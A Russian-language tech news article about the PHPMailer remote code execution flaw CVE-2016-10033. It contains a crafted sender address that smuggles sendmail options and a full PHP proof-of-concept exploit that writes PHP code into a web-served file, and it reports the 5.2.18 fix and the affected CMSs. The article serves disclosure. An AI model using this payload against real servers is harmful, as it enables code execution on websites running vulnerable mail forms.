Хакинг

Критическая уязвимость в PHPMailer, применяемом в WordPress, Drupal и Joomla

В PHPMailer, популярной библиотеке для организации отправки электронный писем из приложений на языке PHP, число пользователей которой оценивается в 9 миллионов, обнаружена критическая уязвимость (CVE-2016-10033), позволяющая инициировать удаленное выполнение кода без прохождения аутентификации.

Проблема аналогична недавно найденной

уязвимости в Roundcube Webmail и также связана с небезопасным использованием PHP-функции mail() совместно с утилитой sendmail в качестве транспорта по умолчанию. Отсутствие должной проверки параметра «Sender» (неверная интерпретация экранированных кавычек), позволяет организовать передачу утилите sendmail произвольных аргументов командной строки, в том числе можно переопределить директорию очереди и файл с логом, что позволяет организовать запись сообщения в произвольный файл в локальной ФС на сервере с правами под которыми запускается PHP-приложение.

В частности, попытка отправки сообщения на email «Attacker \» -Param2 -Param3″@test.com приведёт к выполнению утилиты sendmail со следующими аргументами:


   Arg no. 0 == [/usr/sbin/sendmail]
   Arg no. 1 == [-t]
   Arg no. 2 == [-i]
   Arg no. 3 == [-fAttacker\]
    Arg no. 4 == [-Param2]
   Arg no. 5 == [-Param3"@test.com]
 

Для записи кода в файл /var/www/cache/phpcode.php в качестве отправителя можно указать ‘«attacker\» -oQ/tmp/ -X/var/www/cache/phpcode.php some»@email.com‘, что демонстрирует следующий прототип эксплоита (опция «-X/var/www/cache/phpcode.php» приведёт к созданию лога /var/www/cache/phpcode.php в который будет записано тело сообщения):


   $email_from = '"attacker\" -oQ/tmp/ -X/var/www/cache/phpcode.php  some"@email.com';
   $msg_body  = "{?php phpinfo(); ?}";

   require_once('class.phpmailer.php');
   $mail = new PHPMailer(); 

   $mail->SetFrom($email_from, 'Client Name');

   $address = "customer_feedback@company-X.com";
   $mail->AddAddress($address, "Some User");

   $mail->Subject    = "PHPMailer PoC Exploit CVE-2016-10033";
   $mail->MsgHTML($msg_body);

   if(!$mail->Send()) {
     echo "Mailer Error: " . $mail->ErrorInfo;
   } else {
     echo "Message sent!\n";
   }
    

Проблема устранена в PHPMailer 5.2.18, все более ранние выпуски подвержены уязвимости. Дистрибутивы пока не выпустили обновления пакетов: Debian, RHEL/CentOS, Fedora, Ubuntu, SUSE, openSUSE. Проблема проявляется при использовании настроек по умолчанию: отключен safe_mode, а для отправки используется PHP-функция mail() и утилита sendmail (варианты утилиты /usr/sbin/sendmail от проектов Postfix и Exim не могут быть использованы для атаки, так как они игнорируют опцию «-X»).

Уязвимость усугубляется тем, что PHPMailer применяется во многих популярных продуктах для Web, в том числе в WordPress, Drupal, Joomla, 1CRM, SugarCRM, Yii и сотнях других проектов. Атака может быть проведена через различные формы отправки отзывов, регистрации, связи с администрацией и других операций, приводящих к отправке сообщений по электронной почте при помощи PHPMailer. Уязвимы или нет конкретные системы зависит от того, насколько качественно в них реализованы дополнительные проверки email-адресов перед отправкой сообщений через PHPMailer и используются ли настройки PHPMailer по умолчанию.

Дополнение: Drupal опубликовал предупреждение о проявлении уязвимости в модулях PHPMailer и SMTP. Уязвимости присвоен наивысший (Highly Critical) уровень опасности. В WordPress проблеме подвержены только некоторые сторонние плагины.

HelpUTeam

Recent Posts

Windows 10 стала работать медленнее после установки обновления? Исправим это

Ваш компьютер на Windows 10 перестал быть быстрым после обновления системы? Мы подскажем, как устранить…

3 года ago

Описание приложения-чата по приглашениям Clubhouse

Это приложение для iPhone основано на приглашениях и аудио. С его помощью можно всё равно…

3 года ago

Изменение почтового клиента по умолчанию в iOS 14 на Outlook, Spark, Gmail и другие

Одним из самых значительных изменений в операционной системе iOS 14 является возможность менять приложения по…

4 года ago

Включение пузырей уведомлений в чатах на Android 11

В системе Android 10 появился фреймворк для пузырей чатов, популярность которым принёс Messenger. Новая система…

4 года ago

Как настроить беспроводную отладку в Android 11

От загрузки в режим Fastboot при помощи одной команды до установки модов без рута, есть…

4 года ago

Главные проблемы Android 11 Beta и следует ли устанавливать её

Бета-версия операционной системы Android 11 в настоящее время доступна для устройств Google Pixel. Нужно посетить…

4 года ago